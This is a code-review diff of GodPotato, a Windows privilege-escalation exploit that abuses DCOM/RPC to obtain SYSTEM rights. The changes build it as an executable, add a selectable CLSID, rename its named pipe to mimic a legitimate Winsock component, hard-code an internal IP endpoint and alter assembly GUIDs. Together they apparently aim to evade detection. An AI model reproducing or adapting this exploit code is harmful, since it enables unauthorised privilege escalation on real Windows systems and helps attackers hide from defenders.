Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions GodPotato.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,8 @@
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{2AE886C3-3272-40BE-8D3C-EBAEDE9E61E1}</ProjectGuid>
<OutputType>Library</OutputType>
<ProjectGuid>{7d2566c4-63df-aa7e-2e7c-ebae779a61e1}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>GodPotato</RootNamespace>
<AssemblyName>GodPotato</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
Expand Down
11 changes: 6 additions & 5 deletions NativeAPI/GodPotatoContext.cs
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ namespace GodPotato.NativeAPI
{
public class GodPotatoContext
{
private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4");
private Guid orcbRPCGuid { get; set; }
public IntPtr CombaseModule { get; private set; }
public IntPtr DispatchTablePtr { get; private set; }
public IntPtr UseProtseqFunctionPtr { get; private set; } = IntPtr.Zero;
Expand All @@ -31,12 +31,13 @@ public class GodPotatoContext
public string PipeName { get; set; }
public bool IsStart { get; private set; }
public bool IsHook { get; private set; }
public readonly string serverPipe = $"\\\\.\\pipe\\{"GodPotato"}\\pipe\\epmapper";
public readonly string clientPipe = $"ncacn_np:localhost/pipe/{"GodPotato"}[\\pipe\\epmapper]";
public readonly string serverPipe = $"\\\\.\\pipe\\Winsock2\\CatalogChangeListener-8f8-2\\pipe\\epmapper";
public readonly string clientPipe = $"ncacn_np:localhost/pipe/Winsock2/CatalogChangeListener-8f8-2[\\pipe\\epmapper]";

public GodPotatoContext(TextWriter consoleWriter, string pipeName)
public GodPotatoContext(TextWriter consoleWriter, string pipeName, string guidStr)
{
this.PipeName = pipeName;
this.orcbRPCGuid = new Guid(guidStr);
this.newOrcbRPC = new NewOrcbRPC(this);
this.ConsoleWriter = consoleWriter;

Expand Down Expand Up @@ -340,7 +341,7 @@ public NewOrcbRPC(GodPotatoContext godPotatoContext)
}
public int fun(IntPtr ppdsaNewBindings, IntPtr ppdsaNewSecurity)
{
string[] endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:fuck you !" };
string[] endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:172.16.4.2[80]" };

int entrieSize = 3;
for (int i = 0; i < endpoints.Length; i++)
Expand Down
7 changes: 6 additions & 1 deletion Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,9 @@ class GodPotatoArgs
{
[ArgsAttribute("cmd","cmd /c whoami",Description = "CommandLine",Required = true)]
public string cmd { get; set; }

[ArgsAttribute("clsid", "18f70770-8e64-11cf-9af1-0020af6e72f4", Description = "CLSID; get from 'https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md'", Required = true)]
public string clsid { get; set; }
}


Expand Down Expand Up @@ -69,8 +72,10 @@ FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF

try
{
GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString());
String pipeName = Guid.NewGuid().ToString();
GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, pipeName, potatoArgs.clsid);

ConsoleWriter.WriteLine("[*] Using CLSID: {0}", potatoArgs.clsid);
ConsoleWriter.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule);
ConsoleWriter.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr);
ConsoleWriter.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr);
Expand Down
12 changes: 6 additions & 6 deletions Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,12 @@
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("GodPotato")]
[assembly: AssemblyTitle("God Potato")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("GodPotato")]
[assembly: AssemblyCopyright("Copyright © 2022")]
[assembly: AssemblyProduct("God Potato")]
[assembly: AssemblyCopyright("Copyright © 2023")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

Expand All @@ -20,7 +20,7 @@
[assembly: ComVisible(false)]

// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("2ae886c3-3272-40be-8d3c-ebaede9e61e1")]
[assembly: Guid("7d2566c4-63df-aa7e-2e7c-ebae779a61e1")]

// 程序集的版本信息由下列四个值组成:
//
Expand All @@ -32,5 +32,5 @@
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
//通过使用 "*",如下所示:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.1.0")]
[assembly: AssemblyFileVersion("1.0.1.0")]